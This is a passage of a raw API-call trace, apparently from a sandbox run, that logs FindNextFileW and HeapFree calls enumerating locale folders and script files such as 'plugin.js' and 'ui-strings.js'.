[0272.496] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0272.496] FindNextFileW (in: hFindFile=0x6ebcf0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebcc791, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebcc791, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebcc791, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-sl", cAlternateFileName="")) returned 1 [0272.496] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0272.496] FindNextFileW (in: hFindFile=0x6ebcf0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeba653f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeba653f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeba653f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-se", cAlternateFileName="")) returned 1 [0272.497] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0272.497] FindNextFileW (in: hFindFile=0x6ebcf0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebcc791, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebcc791, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebcc791, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr-tr", cAlternateFileName="")) returned 1 [0272.498] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0272.498] FindNextFileW (in: hFindFile=0x6ebcf0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeba653f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeba653f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeba653f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4bf, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0272.498] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0272.498] FindNextFileW (in: hFindFile=0x6ebcf0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebcc791, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebcc791, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebcc791, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-cn", cAlternateFileName="")) returned 1 [0272.498] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0272.498] FindNextFileW (in: hFindFile=0x6ebcf0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeba653f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeba653f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeba653f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-tw", cAlternateFileName="")) returned 1 [0272.498] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0272.498] FindNextFileW (in: hFindFile=0x6ebcf0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeba653f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeba653f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeba653f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-tw", cAlternateFileName="")) returned 0 [0272.499] FindClose (in: hFindFile=0x6ebcf0 | out: hFindFile=0x6ebcf0) returned 1 [0272.499] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4011ee8 | out: hHeap=0x630000) returned 1 [0272.499] FindNextFileW (in: hFindFile=0x6ebcb0, lpFindFileData=0x3b2e1a4 | out: lpFindFileData=0x3b2e1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeebcc791, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebcc791, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebcc791, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x49d47, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="plugin.js", cAlternateFileName="")) returned 1 [0272.499] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fb5b00 | out: hHeap=0x630000) returned 1 [0272.499] FindNextFileW (in: hFindFile=0x6eb8b0, lpFindFileData=0x3b2e420 | out: lpFindFileData=0x3b2e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeba653f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeba653f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebcc791, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 0 [0272.499] FindClose (in: hFindFile=0x6eb8b0 | out: hFindFile=0x6eb8b0) returned 1 [0272.499] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707768 | out: hHeap=0x630000) returned 1 [0272.501] FindNextFileW (in: hFindFile=0x6ebc30, lpFindFileData=0x3b2e69c | out: lpFindFileData=0x3b2e69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea4f00c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea4f00c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea4f00c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="send-for-sign", cAlternateFileName="SEND-F~1")) returned 1 [0272.502] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fb5b00 | out: hHeap=0x630000) returned 1 [0272.502] FindNextFileW (in: hFindFile=0x6eb830, lpFindFileData=0x3b2e420 | out: lpFindFileData=0x3b2e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea4f00c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea4f00c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea4f00c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="images", cAlternateFileName="")) returned 1 [0272.503] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0272.503] FindNextFileW (in: hFindFile=0x6eb7f0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea4f00c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea4f00c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea4f00c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dark", cAlternateFileName="")) returned 0 [0272.504] FindClose (in: hFindFile=0x6eb7f0 | out: hFindFile=0x6eb7f0) returned 1 [0272.504] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4011ee8 | out: hHeap=0x630000) returned 1 [0272.504] FindNextFileW (in: hFindFile=0x6ebcb0, lpFindFileData=0x3b2e1a4 | out: lpFindFileData=0x3b2e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea4f00c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea4f00c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea4f00c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="themes", cAlternateFileName="")) returned 0 [0272.504] FindClose (in: hFindFile=0x6ebcb0 | out: hFindFile=0x6ebcb0) returned 1 [0272.504] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fb5b00 | out: hHeap=0x630000) returned 1 [0272.504] FindNextFileW (in: hFindFile=0x6eb830, lpFindFileData=0x3b2e420 | out: lpFindFileData=0x3b2e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea4f00c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea4f00c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea9b4b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1 [0272.504] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0272.504] FindNextFileW (in: hFindFile=0x6ebcf0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea752b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea752b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea752b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ca-es", cAlternateFileName="")) returned 1 [0272.504] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0272.504] FindNextFileW (in: hFindFile=0x6ebcf0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea4f00c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea4f00c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea4f00c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs-cz", cAlternateFileName="")) returned 1 [0272.504] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0272.504] FindNextFileW (in: hFindFile=0x6ebcf0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea752b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea752b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea752b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-dk", cAlternateFileName="")) returned 1 [0272.505] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0272.505] FindNextFileW (in: hFindFile=0x6ebcf0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea9b4b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea9b4b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea9b4b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-de", cAlternateFileName="")) returned 1 [0272.505] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0272.505] FindNextFileW (in: hFindFile=0x6ebcf0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea9b4b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea9b4b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea9b4b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-ae", cAlternateFileName="")) returned 1 [0272.505] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0272.505] FindNextFileW (in: hFindFile=0x6ebcf0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea9b4b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea9b4b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea9b4b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-gb", cAlternateFileName="")) returned 1 [0272.505] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0272.505] FindNextFileW (in: hFindFile=0x6ebcf0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea752b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea752b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea752b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-il", cAlternateFileName="")) returned 1 [0272.505] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0272.505] FindNextFileW (in: hFindFile=0x6ebcf0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea752b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea752b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea752b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-es", cAlternateFileName="")) returned 1 [0272.505] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0272.505] FindNextFileW (in: hFindFile=0x6ebcf0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea9b4b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea9b4b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea9b4b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="eu-es", cAlternateFileName="")) returned 1 [0272.506] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0272.506] FindNextFileW (in: hFindFile=0x6ebcf0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea752b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea752b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea752b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-fi", cAlternateFileName="")) returned 1 [0272.506] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0272.506] FindNextFileW (in: hFindFile=0x6ebcf0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea9b4b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea9b4b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea9b4b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-fr", cAlternateFileName="")) returned 1 [0272.506] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0272.506] FindNextFileW (in: hFindFile=0x6ebcf0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea752b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea752b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea752b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-ma", cAlternateFileName="")) returned 1 [0272.506] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0272.506] FindNextFileW (in: hFindFile=0x6ebcf0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea752b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea752b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea752b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="he-il", cAlternateFileName="")) returned 1 [0272.506] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0272.506] FindNextFileW (in: hFindFile=0x6ebcf0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea752b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea752b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea752b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr-hr", cAlternateFileName="")) returned 1 [0272.506] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0272.506] FindNextFileW (in: hFindFile=0x6ebcf0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea752b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea752b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea752b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-hu", cAlternateFileName="")) returned 1 [0272.506] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0272.506] FindNextFileW (in: hFindFile=0x6ebcf0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea9b4b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea9b4b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea9b4b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-it", cAlternateFileName="")) returned 1 [0272.507] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0272.507] FindNextFileW (in: hFindFile=0x6ebcf0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea752b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea752b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea752b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-jp", cAlternateFileName="")) returned 1 [0272.507] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0272.507] FindNextFileW (in: hFindFile=0x6ebcf0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea9b4b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea9b4b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea9b4b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-kr", cAlternateFileName="")) returned 1 [0272.507] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0272.507] FindNextFileW (in: hFindFile=0x6ebcf0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea752b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea752b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea752b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-no", cAlternateFileName="")) returned 1 [0272.507] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0272.507] FindNextFileW (in: hFindFile=0x6ebcf0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea9b4b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea9b4b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea9b4b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-nl", cAlternateFileName="")) returned 1 [0272.507] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0272.507] FindNextFileW (in: hFindFile=0x6ebcf0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea9b4b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea9b4b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea9b4b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-pl", cAlternateFileName="")) returned 1 [0272.507] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0272.507] FindNextFileW (in: hFindFile=0x6ebcf0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea9b4b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea9b4b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea9b4b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-br", cAlternateFileName="")) returned 1 [0272.508] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0272.508] FindNextFileW (in: hFindFile=0x6ebcf0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea752b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea752b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea752b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro-ro", cAlternateFileName="")) returned 1 [0272.508] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0272.508] FindNextFileW (in: hFindFile=0x6ebcf0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea9b4b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea9b4b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea9b4b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="root", cAlternateFileName="")) returned 1 [0272.508] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0272.508] FindNextFileW (in: hFindFile=0x6ebcf0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea4f00c, ftCreationTime.dwHighDateTime=0x1d39f5d, 